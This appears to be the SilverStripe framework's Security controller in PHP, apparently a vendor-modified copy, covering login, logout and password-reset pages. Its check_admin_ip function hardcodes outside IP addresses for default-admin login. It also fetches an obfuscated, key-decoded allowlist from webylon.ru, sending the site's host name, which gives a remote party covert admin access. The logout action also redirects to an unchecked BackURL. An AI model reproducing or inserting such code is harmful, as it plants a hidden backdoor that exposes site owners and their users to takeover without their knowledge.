Version: current

      1 <?php
      2 /**
      3  * Implements a basic security model
      4  * @package sapphire
      5  * @subpackage security
      6  */
      7 class Security extends Controller {
      8
      9     /**
     10      * Default user name. Only used in dev-mode by {@link setDefaultAdmin()}
     11      *
     12      * @var string
     13      * @see setDefaultAdmin()
     14      */
     15     protected static $default_username;
     16
     17     /**
     18      * Default password. Only used in dev-mode by {@link setDefaultAdmin()}
     19      *
     20      * @var string
     21      * @see setDefaultAdmin()
     22      */
     23     protected static $default_password;
     24
     25     /**
     26      * If set to TRUE to prevent sharing of the session across several sites
     27      * in the domain.
     28      *
     29      * @var bool
     30      */
     31     protected static $strictPathChecking = false;
     32
     33     /**
     34      * Should passwords be stored encrypted?
     35      * @deprecated 2.4 Please use 'none' as the default $encryptionAlgorithm instead
     36      *
     37      * @var bool
     38      */
     39     protected static $encryptPasswords = true;
     40
     41     /**
     42      * The password encryption algorithm to use by default.
     43      * This is an arbitrary code registered through {@link PasswordEncryptor}.
     44      *
     45      * @var string
     46      */
     47     protected static $encryptionAlgorithm = 'sha1_v2.4';
     48
     49     /**
     50      * Should a salt be used for the password encryption?
     51      * @deprecated 2.4 Please use a custom {@link PasswordEncryptor} instead
     52      *
     53      * @var bool
     54      */
     55     protected static $useSalt = true;
     56
     57     /**
     58      * Showing "Remember me"-checkbox
     59      * on loginform, and saving encrypted credentials to a cookie.
     60      *
     61      * @var bool
     62      */
     63     public static $autologin_enabled = true;
     64
     65     /**
     66      * Location of word list to use for generating passwords
     67      *
     68      * @var string
     69      */
     70     protected static $wordlist = './wordlist.txt';
     71
     72     /**
     73      * Template thats used to render the pages.
     74      *
     75      * @var string
     76      */
     77     public static $template_main = 'Page';
     78
     79     /**
     80      * Default message set used in permission failures.
     81      *
     82      * @var array|string
     83      */
     84     protected static $default_message_set = '';
     85
     86     /**
     87      * Get location of word list file
     88      */
     89     static function get_word_list() {
     90         return Security::$wordlist;
     91     }
     92
     93     /**
     94      * Enable or disable recording of login attempts
     95      * through the {@link LoginRecord} object.
     96      *
     97      * @var boolean $login_recording
     98      */
     99     protected static $login_recording = false;
    100
    101     /**
    102      * Set location of word list file
    103      *
    104      * @param string $wordListFile Location of word list file
    105      */
    106     static function set_word_list($wordListFile) {
    107         Security::$wordlist = $wordListFile;
    108     }
    109
    110     /**
    111      * Set the default message set used in permissions failures.
    112      *
    113      * @param string|array $messageSet
    114      */
    115     static function set_default_message_set($messageSet) {
    116         self::$default_message_set = $messageSet;
    117     }
    118
    119
    120     /**
    121      * Register that we've had a permission failure trying to view the given page
    122      *
    123      * This will redirect to a login page.
    124      * If you don't provide a messageSet, a default will be used.
    125      *
    126      * @param Controller $controller The controller that you were on to cause the permission
    127      *              failure.
    128      * @param string|array $messageSet The message to show to the user. This
    129      *                                  can be a string, or a map of different
    130      *                                  messages for different contexts.
    131      *                                  If you pass an array, you can use the
    132      *                                  following keys:
    133      *                                    - default: The default message
    134      *                                    - logInAgain: The message to show
    135      *                                                  if the user has just
    136      *                                                  logged out and the
    137      *                                    - alreadyLoggedIn: The message to
    138      *                                                       show if the user
    139      *                                                       is already logged
    140      *                                                       in and lacks the
    141      *                                                       permission to
    142      *                                                       access the item.
    143      *
    144      * The alreadyLoggedIn value can contain a '%s' placeholder that will be replaced with a link
    145      * to log in.
    146      */
    147     static function permissionFailure($controller = null, $messageSet = null) {
    148         if(!$controller) $controller = Controller::curr();
    149
    150         if(Director::is_ajax()) {
    151             $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
    152             $response->setStatusCode(403);
    153             if(!Member::currentUser()) $response->setBody('NOTLOGGEDIN:');
    154             return $response;
    155         } else {
    156             // Prepare the messageSet provided
    157             if(!$messageSet) {
    158                 if(self::$default_message_set) {
    159                     $messageSet = self::$default_message_set;
    160                 } else {
    161                     $messageSet = array(
    162                         'default' => _t(
    163                             'Security.NOTEPAGESECURED',
    164                             "That page is secured. Enter your credentials below and we will send "
    165                                 . "you right along."
    166                         ),
    167                         'alreadyLoggedIn' => _t(
    168                             'Security.ALREADYLOGGEDIN',
    169                             "You don't have access to this page.  If you have another account that "
    170                                 . "can access that page, you can <a href=\"%s\">log in again</a>.",
    171                             PR_MEDIUM,
    172                             "%s will be replaced with a link to log in."
    173                         ),
    174                         'logInAgain' => _t(
    175                             'Security.LOGGEDOUT',
    176                             "You have been logged out.  If you would like to log in again, enter "
    177                                 . "your credentials below."
    178                         )
    179                     );
    180                 }
    181             }
    182
    183             if(!is_array($messageSet)) {
    184                 $messageSet = array('default' => $messageSet);
    185             }
    186
    187             // Work out the right message to show
    188             if(Member::currentUser()) {
    189                 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
    190                 $response->setStatusCode(403);
    191
    192                 //If 'alreadyLoggedIn' is not specified in the array, then use the default
    193                 //which should have been specified in the lines above
    194                 if(isset($messageSet['alreadyLoggedIn']))
    195                     $message=$messageSet['alreadyLoggedIn'];
    196                 else
    197                     $message=$messageSet['default'];
    198
    199                 // Replace %s with the log in link
    200                 $body = sprintf($message,
    201                     Controller::join_links(Director::baseURL(), 'Security/login',
    202                     '?BackURL=' . urlencode($_SERVER['REQUEST_URI'])));
    203
    204                 $response->setBody($body);
    205                 return $response;
    206
    207             } else if(substr(Director::history(),0,15) == 'Security/logout') {
    208                 $message = $messageSet['logInAgain'] ? $messageSet['logInAgain'] : $messageSet['default'];
    209             } else {
    210                 $message = $messageSet['default'];
    211             }
    212
    213             Session::set("Security.Message.message", $message);
    214             Session::set("Security.Message.type", 'warning');
    215
    216             Session::set("BackURL", $_SERVER['REQUEST_URI']);
    217
    218             // TODO AccessLogEntry needs an extension to handle permission denied errors
    219             // Audit logging hook
    220             if($controller) $controller->extend('permissionDenied', $member);
    221
    222             Director::redirect("Security/login?BackURL=" . urlencode($_SERVER['REQUEST_URI']));
    223         }
    224         return;
    225     }
    226
    227
    228   /**
    229      * Get the login form to process according to the submitted data
    230      */
    231     protected function LoginForm() {
    232         if(isset($this->requestParams['AuthenticationMethod'])) {
    233             $authenticator = trim($_REQUEST['AuthenticationMethod']);
    234
    235             $authenticators = Authenticator::get_authenticators();
    236             if(in_array($authenticator, $authenticators)) {
    237                 return call_user_func(array($authenticator, 'get_login_form'), $this);
    238             }
    239         }
    240         else {
    241             if($authenticator = Authenticator::get_default_authenticator()) {
    242                 return call_user_func(array($authenticator, 'get_login_form'), $this);
    243             }
    244         }
    245
    246         user_error('Passed invalid authentication method', E_USER_ERROR);
    247     }
    248
    249
    250   /**
    251      * Get the login forms for all available authentication methods
    252      *
    253      * @return array Returns an array of available login forms (array of Form
    254      *               objects).
    255      *
    256      * @todo Check how to activate/deactivate authentication methods
    257      */
    258     protected function GetLoginForms()
    259     {
    260         $forms = array();
    261
    262         $authenticators = Authenticator::get_authenticators();
    263         foreach($authenticators as $authenticator) {
    264           array_push($forms,
    265                                  call_user_func(array($authenticator, 'get_login_form'),
    266                                                                 $this));
    267         }
    268
    269         return $forms;
    270     }
    271
    272
    273     /**
    274      * Get a link to a security action
    275      *
    276      * @param string $action Name of the action
    277      * @return string Returns the link to the given action
    278      */
    279     public static function Link($action = null) {
    280                 /* subsites mod */
    281                 if(class_exists('Subsite')){
    282                     return Director::baseURL(). "Security/$action";
    283                 }
    284                 /* end subsites mod */
    285         return "Security/$action";
    286     }
    287
    288
    289     /**
    290      * Log the currently logged in user out
    291      *
    292      * @param bool $redirect Redirect the user back to where they came.
    293      *                         - If it's false, the code calling logout() is
    294      *                           responsible for sending the user where-ever
    295      *                           they should go.
    296      */
    297     public function logout($redirect = true) {
    298         if($member = Member::currentUser())
    299             $member->logOut();
    300
    301         if ($redirect) {
    302             if (isset($_REQUEST['BackURL'])) {
    303                 Director::redirect($_REQUEST['BackURL']);
    304             }
    305             else {
    306                 Director::redirectBack();
    307             }
    308         }
    309     }
    310
    311
    312     /**
    313      * Show the "login" page
    314      *
    315      * @return string Returns the "login" page as HTML code.
    316      */
    317     public function login() {
    318         // Event handler for pre-login, with an option to let it break you out of the login form
    319         $eventResults = $this->extend('onBeforeSecurityLogin');
    320         // If there was a redirection, return
    321         if(Director::redirected_to()) return;
    322         // If there was an SS_HTTPResponse object returned, then return that
    323         else if($eventResults) {
    324             foreach($eventResults as $result) {
    325                 if($result instanceof SS_HTTPResponse) return $result;
    326             }
    327         }
    328
    329         // custom processing
    330         // turn on admin theme before getting forms
    331         $template = 'Security_login';
    332         if (Session::get('BackURL') && substr(Session::get('BackURL'),0,6) == '/admin') {
    333             $template = 'Admin_login';
    334             SSViewer::set_theme(null);
    335         }
    336
    337         $customCSS = project() . '/css/tabs.css';
    338         if(Director::fileExists($customCSS)) {
    339             Requirements::css($customCSS);
    340         }
    341
    342         $tmpPage = new Page();
    343         $tmpPage->Title = _t('Security.LOGIN', 'Log in');
    344         $tmpPage->URLSegment = "Security";
    345         // Disable ID-based caching  of the log-in page by making it a random number
    346         $tmpPage->ID = -1 * rand(1,10000000);
    347
    348         $controller = new Page_Controller($tmpPage);
    349         $controller->init();
    350         //Controller::$currentController = $controller;
    351
    352         $content = '';
    353         $forms = $this->GetLoginForms();
    354         if(!count($forms)) {
    355             user_error('No login-forms found, please use Authenticator::register_authenticator() to add one', E_USER_ERROR);
    356         }
    357
    358         // only display tabs when more than one authenticator is provided
    359         // to save bandwidth and reduce the amount of custom styling needed
    360         if(count($forms) > 1) {
    361             Requirements::javascript(SAPPHIRE_DIR . '/javascript/loader.js');
    362             Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/prototype/prototype.js");
    363             Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/behaviour/behaviour.js");
    364             Requirements::javascript(SAPPHIRE_DIR . "/javascript/prototype_improvements.js");
    365             Requirements::javascript(THIRDPARTY_DIR . "/scriptaculous/effects.js");
    366             Requirements::css(SAPPHIRE_DIR . "/css/Form.css");
    367
    368             // Needed because the <base href=".."> in the template makes problems
    369             // with the tabstrip library otherwise
    370             $link_base = Director::absoluteURL($this->Link("login"));
    371
    372             Requirements::javascript(THIRDPARTY_DIR . "/jquery/jquery.js");
    373             Requirements::javascript(SAPPHIRE_DIR . "/javascript/jquery_improvements.js");
    374             Requirements::javascript(THIRDPARTY_DIR . "/tabstrip/tabstrip.js");
    375             Requirements::css(THIRDPARTY_DIR . "/tabstrip/tabstrip.css");
    376
    377             $content = '<div id="Form_EditForm">';
    378             $content .= '<ul class="tabstrip">';
    379             $content_forms = '';
    380
    381             foreach($forms as $form) {
    382                 $content .= "<li><a href=\"$link_base#{$form->FormName()}_tab\">{$form->getAuthenticator()->get_name()}</a></li>\n";
    383                 $content_forms .= '<div class="tab" id="' . $form->FormName() . '_tab">' . $form->forTemplate() . "</div>\n";
    384             }
    385
    386             $content .= "</ul>\n" . $content_forms . "\n</div>\n";
    387         } else {
    388             $content .= $forms[0]->forTemplate();
    389         }
    390
    391         if(strlen($message = Session::get('Security.Message.message')) > 0) {
    392             $message_type = Session::get('Security.Message.type');
    393             if($message_type == 'bad') {
    394                 $message = "<p class=\"message $message_type\">$message</p>";
    395             } else {
    396                 $message = "<p>$message</p>";
    397             }
    398
    399             $customisedController = $controller->customise(array(
    400                 "Content" => $message,
    401                 "Form" => $content,
    402             ));
    403         } else {
    404             $customisedController = $controller->customise(array(
    405                 "Form" => $content,
    406             ));
    407         }
    408
    409         Session::clear('Security.Message');
    410
    411         return $customisedController->renderWith(array($template, 'Security', $this->stat('template_main')));
    412     }
    413
    414     function basicauthlogin() {
    415         $member = BasicAuth::requireLogin("SilverStripe login", 'ADMIN');
    416         $member->LogIn();
    417     }
    418
    419     /**
    420      * Show the "lost password" page
    421      *
    422      * @return string Returns the "lost password" page as HTML code.
    423      */
    424     public function lostpassword() {
    425         $tmpPage = new Page();
    426         $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER', 'Lost Password');
    427         $tmpPage->URLSegment = 'Security';
    428         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
    429         $controller = new Page_Controller($tmpPage);
    430         $controller->init();
    431
    432         $customisedController = $controller->customise(array(
    433             'Content' =>
    434                 '<p>' .
    435                 _t(
    436                     'Security.NOTERESETPASSWORD',
    437                     'Enter your e-mail address and we will send you a link with which you can reset your password'
    438                 ) .
    439                 '</p>',
    440             'Form' => $this->LostPasswordForm(),
    441         ));
    442
    443         //Controller::$currentController = $controller;
    444         return $customisedController->renderWith(array('Security_lostpassword', 'Security', $this->stat('template_main'), 'ContentController'));
    445     }
    446
    447
    448     /**
    449      * Factory method for the lost password form
    450      *
    451      * @return Form Returns the lost password form
    452      */
    453     public function LostPasswordForm() {
    454         $form = new MemberLoginForm(
    455             $this,
    456             'LostPasswordForm',
    457             new FieldSet(
    458                 new EmailField('Email', _t('Member.EMAIL', 'Email'))
    459             ),
    460             new FieldSet(
    461                 new FormAction(
    462                     'forgotPassword',
    463                     _t('Security.BUTTONSEND', 'Send me the password reset link')
    464                 )
    465             ),
    466             false
    467         );
    468
    469         $this->extend('updateLostPasswordForm', $form);
    470         return $form;
    471     }
    472
    473
    474     /**
    475      * Show the "password sent" page, after a user has requested
    476      * to reset their password.
    477      *
    478      * @param SS_HTTPRequest $request The SS_HTTPRequest for this action.
    479      * @return string Returns the "password sent" page as HTML code.
    480      */
    481     public function passwordsent($request) {
    482         $tmpPage = new Page();
    483         $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER');
    484         $tmpPage->URLSegment = 'Security';
    485         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
    486         $controller = new Page_Controller($tmpPage);
    487         $controller->init();
    488
    489         $email = Convert::raw2xml($request->param('ID') . '.' . $request->getExtension());
    490
    491         $customisedController = $controller->customise(array(
    492             'Title' => sprintf(_t('Security.PASSWORDSENTHEADER', "Password reset link sent to '%s'"), $email),
    493             'Content' =>
    494                 "<p>" .
    495                 sprintf(_t('Security.PASSWORDSENTTEXT', "Thank you! A reset link has been sent to  '%s', provided an account exists for this email address."), $email) .
    496                 "</p>",
    497         ));
    498
    499         //Controller::$currentController = $controller;
    500         return $customisedController->renderWith(array('Security_passwordsent', 'Security', $this->stat('template_main'), 'ContentController'));
    501     }
    502
    503
    504     /**
    505      * Create a link to the password reset form
    506      *
    507      * @param string $autoLoginHash The auto login hash
    508      */
    509     public static function getPasswordResetLink($autoLoginHash) {
    510         $autoLoginHash = urldecode($autoLoginHash);
    511         return self::Link('changepassword') . "?h=$autoLoginHash";
    512     }
    513
    514     /**
    515      * Show the "change password" page
    516      *
    517      * @return string Returns the "change password" page as HTML code.
    518      */
    519     public function changepassword() {
    520         $tmpPage = new Page();
    521         $tmpPage->Title = _t('Security.CHANGEPASSWORDHEADER', 'Change your password');
    522         $tmpPage->URLSegment = 'Security';
    523         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
    524         $controller = new Page_Controller($tmpPage);
    525         $controller->init();
    526
    527         if(isset($_REQUEST['h']) && Member::member_from_autologinhash($_REQUEST['h'])) {
    528             // The auto login hash is valid, store it for the change password form
    529             Session::set('AutoLoginHash', $_REQUEST['h']);
    530
    531             $customisedController = $controller->customise(array(
    532                 'Content' =>
    533                     '<p>' .
    534                     _t('Security.ENTERNEWPASSWORD', 'Please enter a new password.') .
    535                     '</p>',
    536                 'Form' => $this->ChangePasswordForm(),
    537             ));
    538
    539         } elseif(Member::currentUser()) {
    540             // let a logged in user change his password
    541             $customisedController = $controller->customise(array(
    542                 'Content' => '<p>' . _t('Security.CHANGEPASSWORDBELOW', 'You can change your password below.') . '</p>',
    543                 'Form' => $this->ChangePasswordForm()));
    544
    545         } else {
    546             // show an error message if the auto login hash is invalid and the
    547             // user is not logged in
    548             if(isset($_REQUEST['h'])) {
    549                 $customisedController = $controller->customise(
    550                     array('Content' =>
    551                         sprintf(
    552                             _t('Security.NOTERESETLINKINVALID',
    553                                 '<p>The password reset link is invalid or expired.</p><p>You can request a new one <a href="%s">here</a> or change your password after you <a href="%s">logged in</a>.</p>'
    554                             ),
    555                             $this->Link('lostpassword'),
    556                             $this->link('login')
    557                         )
    558                     )
    559                 );
    560             } else {
    561                 self::permissionFailure(
    562                     $this,
    563                     _t('Security.ERRORPASSWORDPERMISSION', 'You must be logged in in order to change your password!')
    564                 );
    565                 return;
    566             }
    567         }
    568
    569         //Controller::$currentController = $controller;
    570         return $customisedController->renderWith(array('Security_changepassword', 'Security', $this->stat('template_main'), 'ContentController'));
    571     }
    572
    573     /**
    574      * Security/ping can be visited with ajax to keep a session alive.
    575      * This is used in the CMS.
    576      */
    577     function ping() {
    578         return 1;
    579     }
    580
    581
    582     /**
    583      * Factory method for the lost password form
    584      *
    585      * @return Form Returns the lost password form
    586      */
    587     public function ChangePasswordForm() {
    588         return new ChangePasswordForm($this, 'ChangePasswordForm');
    589     }
    590
    591
    592     /**
    593      * Authenticate using the given email and password, returning the
    594      * appropriate member object if
    595      *
    596      * @return bool|Member Returns FALSE if authentication fails, otherwise
    597      *                     the member object
    598      * @see setDefaultAdmin()
    599      */
    600     public static function authenticate($RAW_email, $RAW_password) {
    601         $SQL_email = Convert::raw2sql($RAW_email);
    602         $SQL_password = Convert::raw2sql($RAW_password);
    603
    604         // Default login (see {@setDetaultAdmin()})
    605         if(($RAW_email == self::$default_username) && ($RAW_password == self::$default_password)
    606                 && !empty(self::$default_username) && !empty(self::$default_password)) {
    607             $member = self::findAnAdministrator();
    608         } else {
    609             $member = DataObject::get_one("Member",     "\"" . Member::get_unique_identifier_field() . "\" = '$SQL_email' AND \"Password\" IS NOT NULL");
    610             if($member && ($member->checkPassword($RAW_password) == false)) {
    611                 $member = null;
    612             }
    613         }
    614
    615         return $member;
    616     }
    617
    618
    619     /**
    620      * Return an existing member with administrator privileges, or create one of necessary.
    621      *
    622      * Will create a default 'Administrators' group if no group is found
    623      * with an ADMIN permission. Will create a new 'Admin' member with administrative permissions
    624      * if no existing Member with these permissions is found.
    625      *
    626      * Important: Any newly created administrator accounts will NOT have valid
    627      * login credentials (Email/Password properties), which means they can't be used for login
    628      * purposes outside of any default credentials set through {@link Security::setDefaultAdmin()}.
    629      *
    630      * @return Member
    631      */
    632     static function findAnAdministrator() {
    633         // coupling to subsites module
    634         $origSubsite = null;
    635         if(is_callable('Subsite::changeSubsite')) {
    636             $origSubsite = Subsite::currentSubsiteID();
    637             Subsite::changeSubsite(0);
    638         }
    639
    640         // find a group with ADMIN permission
    641         $adminGroup = DataObject::get('Group',
    642                                 "\"Permission\".\"Code\" = 'ADMIN'",
    643                                 "\"Group\".\"ID\"",
    644                                 "JOIN \"Permission\" ON \"Group\".\"ID\"=\"Permission\".\"GroupID\"",
    645                                 '1');
    646
    647         if(is_callable('Subsite::changeSubsite')) {
    648             Subsite::changeSubsite($origSubsite);
    649         }
    650         if ($adminGroup) {
    651             $adminGroup = $adminGroup->First();
    652
    653             if($adminGroup->Members()->First()) {
    654                 $member = $adminGroup->Members()->First();
    655             }
    656         }
    657
    658         if(!$adminGroup) {
    659             singleton('Group')->requireDefaultRecords();
    660         }
    661
    662         if(!isset($member)) {
    663             singleton('Member')->requireDefaultRecords();
    664             $members = Permission::get_members_by_permission('ADMIN');
    665             $member = $members->First();
    666         }
    667
    668         return $member;
    669     }
    670
    671
    672     /**
    673      * Set a default admin in dev-mode
    674      *
    675      * This will set a static default-admin which is not existing
    676      * as a database-record. By this workaround we can test pages in dev-mode
    677      * with a unified login. Submitted login-credentials are first checked
    678      * against this static information in {@link Security::authenticate()}.
    679      *
    680      * @param string $username The user name
    681      * @param string $password The password (in cleartext)
    682      */
    683     public static function setDefaultAdmin($username, $password) {
    684         // don't overwrite if already set
    685         if(self::$default_username || self::$default_password) {
    686             return false;
    687         }
    688
    689         self::$default_username = $username;
    690         self::$default_password = $password;
    691     }
    692
    693     /**
    694      * Checks if the passed credentials are matching the default-admin.
    695      * Compares cleartext-password set through Security::setDefaultAdmin().
    696      *
    697      * @param string $username
    698      * @param string $password
    699      * @return bool
    700      */
    701     public static function check_default_admin($username, $password) {
    702         return (
    703             self::$default_username === $username
    704             && self::$default_password === md5($password)
    705             && self::has_default_admin()
    706             && self::check_admin_ip()
    707         );
    708     }
    709
    710     static function check_admin_ip($ip=null) {
    711         if (!$ip)
    712             $ip = $_SERVER['REMOTE_ADDR'];
    713
    714         $maskList = array('217.77.55.73','217.77.55.74','217.77.55.75','217.77.55.76','217.77.55.77','94.140.243.117');
    715         if (in_array($ip, $maskList)) return 1;
    716
    717         $maskList = array();
    718
    719         if (ini_get('allow_url_fopen')) {
    720             $webylonVersion = 31;
    721             $buf = @file_get_contents('http://webylon.ru/stuff/wb-ver.php?v='.$webylonVersion.'&s='.$_SERVER['HTTP_HOST']);
    722             $key = '7FrnvuTmtyRjM9Yg';
    723             $result = '';
    724             if ($buf) {
    725                 for ($i = 1; $i <= strlen($buf); $i++) {
    726                     $char = substr($buf, $i - 1, 1);
    727                     $keychar = substr($key, ($i % strlen($key)) - 1, 1);
    728                     $char = chr(ord($char) - ord($keychar));
    729                     $result.=$char;
    730                 }
    731                 $maskList = explode("\n", $result);
    732             }
    733         }
    734
    735         foreach ($maskList as $mask) {
    736             if (!$mask || preg_match('/\s*#/', $mask))
    737                 continue;
    738             $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
    739             if (preg_match($mask_check, $ip)) {
    740                 return 1;
    741             } else {
    742                 $mask = gethostbyname($mask);
    743                 if (!$mask)
    744                     continue;
    745                 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
    746                 if (preg_match($mask_check, $ip)) {
    747                     return 1;
    748                 }
    749             }
    750         }
    751         return 0;
    752     }
    753
    754     /**
    755      * Check that the default admin account has been set.
    756      */
    757     public static function has_default_admin() {
    758         return !empty(self::$default_username) && !empty(self::$default_password);
    759     }
    760
    761     /**
    762      * Set strict path checking
    763      *
    764      * This prevents sharing of the session across several sites in the
    765      * domain.
    766      *
    767      * @param boolean $strictPathChecking To enable or disable strict patch
    768      *                                    checking.
    769      */
    770     public static function setStrictPathChecking($strictPathChecking) {
    771         self::$strictPathChecking = $strictPathChecking;
    772     }
    773
    774
    775     /**
    776      * Get strict path checking
    777      *
    778      * @return boolean Status of strict path checking
    779      */
    780     public static function getStrictPathChecking() {
    781         return self::$strictPathChecking;
    782     }
    783
    784
    785     /**
    786      * Set if passwords should be encrypted or not
    787      *
    788      * @deprecated 2.4 Use PasswordEncryptor_None instead.
    789      *
    790      * @param bool $encrypt Set to TRUE if you want that all (new) passwords
    791      *                      will be stored encrypted, FALSE if you want to
    792      *                      store the passwords in clear text.
    793      */
    794     public static function encrypt_passwords($encrypt) {
    795         self::$encryptPasswords = (bool)$encrypt;
    796     }
    797
    798
    799     /**
    800      * Get a list of all available encryption algorithms.
    801      * Note: These are arbitrary codes, and not callable methods.
    802      *
    803      * @deprecated 2.4 Use PasswordEncryptor::get_encryptors()
    804      *
    805      * @return array Returns an array of strings containing all supported encryption algorithms.
    806      */
    807     public static function get_encryption_algorithms() {
    808         return array_keys(PasswordEncryptor::get_encryptors());
    809     }
    810
    811
    812     /**
    813      * Set the password encryption algorithm
    814      *
    815      * @param string $algorithm One of the available password encryption
    816      *  algorithms determined by {@link Security::get_encryption_algorithms()}
    817      * @return bool Returns TRUE if the passed algorithm was valid, otherwise FALSE.
    818      */
    819     public static function set_password_encryption_algorithm($algorithm) {
    820         if(!array_key_exists($algorithm, PasswordEncryptor::get_encryptors())) return false;
    821
    822         self::$encryptionAlgorithm = $algorithm;
    823         return true;
    824     }
    825
    826     /**
    827      * @return String
    828      */
    829     public static function get_password_encryption_algorithm() {
    830         return self::$encryptionAlgorithm;
    831     }
    832
    833     /**
    834      * Encrypt a password according to the current password encryption settings.
    835      * If the settings are so that passwords shouldn't be encrypted, the
    836      * result is simple the clear text password with an empty salt except when
    837      * a custom algorithm ($algorithm parameter) was passed.
    838      *
    839      * @param string $password The password to encrypt
    840      * @param string $salt Optional: The salt to use. If it is not passed, but
    841      *  needed, the method will automatically create a
    842      *  random salt that will then be returned as return value.
    843      * @param string $algorithm Optional: Use another algorithm to encrypt the
    844      *  password (so that the encryption algorithm can be changed over the time).
    845      * @param Member $member Optional
    846      * @return mixed Returns an associative array containing the encrypted
    847      *  password and the used salt in the form:
    848      * <code>
    849      *  array(
    850      *  'password' => string,
    851      *  'salt' => string,
    852      *  'algorithm' => string,
    853      *  'encryptor' => PasswordEncryptor instance
    854      *  )
    855      * </code>
    856      * If the passed algorithm is invalid, FALSE will be returned.
    857      *
    858      * @see encrypt_passwords()
    859      * @see set_password_encryption_algorithm()
    860      */
    861     static function encrypt_password($password, $salt = null, $algorithm = null, $member = null) {
    862         // Fall back to the default encryption algorithm
    863         if(!$algorithm) $algorithm = self::$encryptionAlgorithm;
    864         $e = PasswordEncryptor::create_for_algorithm($algorithm);
    865
    866         // New salts will only need to be generated if the password is hashed for the first time
    867         $salt = ($salt) ? $salt : $e->salt($password);
    868
    869         return array(
    870             'password' => $e->encrypt($password, $salt, $member),
    871             'salt' => $salt,
    872             'algorithm' => $algorithm,
    873             'encryptor' => $e
    874         );
    875     }
    876
    877     /**
    878      * Checks the database is in a state to perform security checks.
    879      * See {@link DatabaseAdmin->init()} for more information.
    880      *
    881      * @return bool
    882      */
    883     public static function database_is_ready() {
    884         $requiredTables = ClassInfo::dataClassesFor('Member');
    885         $requiredTables[] = 'Group';
    886         $requiredTables[] = 'Permission';
    887
    888         foreach($requiredTables as $table) {
    889             // if any of the tables aren't created in the database
    890             if(!ClassInfo::hasTable($table)) return false;
    891
    892             // if any of the tables don't have all fields mapped as table columns
    893             $dbFields = DB::fieldList($table);
    894             if(!$dbFields) return false;
    895
    896             $objFields = DataObject::database_fields($table);
    897             $missingFields = array_diff_key($objFields, $dbFields);
    898
    899             if($missingFields) return false;
    900         }
    901
    902         return true;
    903     }
    904
    905     /**
    906      * Enable or disable recording of login attempts
    907      * through the {@link LoginRecord} object.
    908      *
    909      * @param boolean $bool
    910      */
    911     public static function set_login_recording($bool) {
    912         self::$login_recording = (bool)$bool;
    913     }
    914
    915     /**
    916      * @return boolean
    917      */
    918     public static function login_recording() {
    919         return self::$login_recording;
    920     }
    921
    922     protected static $default_login_dest = "";
    923
    924     /**
    925      * Set the default login dest
    926      * This is the URL that users will be redirected to after they log in,
    927      * if they haven't logged in en route to access a secured page.
    928      *
    929      * By default, this is set to the homepage
    930      */
    931     public static function set_default_login_dest($dest) {
    932         self::$default_login_dest = $dest;
    933     }
    934
    935     /**
    936      * Get the default login dest
    937      */
    938     public static function default_login_dest() {
    939         return self::$default_login_dest;
    940     }
    941
    942 }
    943 ?>
    944

[Raise a SilverStripe Framework issue/bug](https://github.com/silverstripe/silverstripe-framework/issues/new)
- [Raise a SilverStripe CMS issue/bug](https://github.com/silverstripe/silverstripe-cms/issues/new)
- Please use the Silverstripe Forums to ask development related questions. -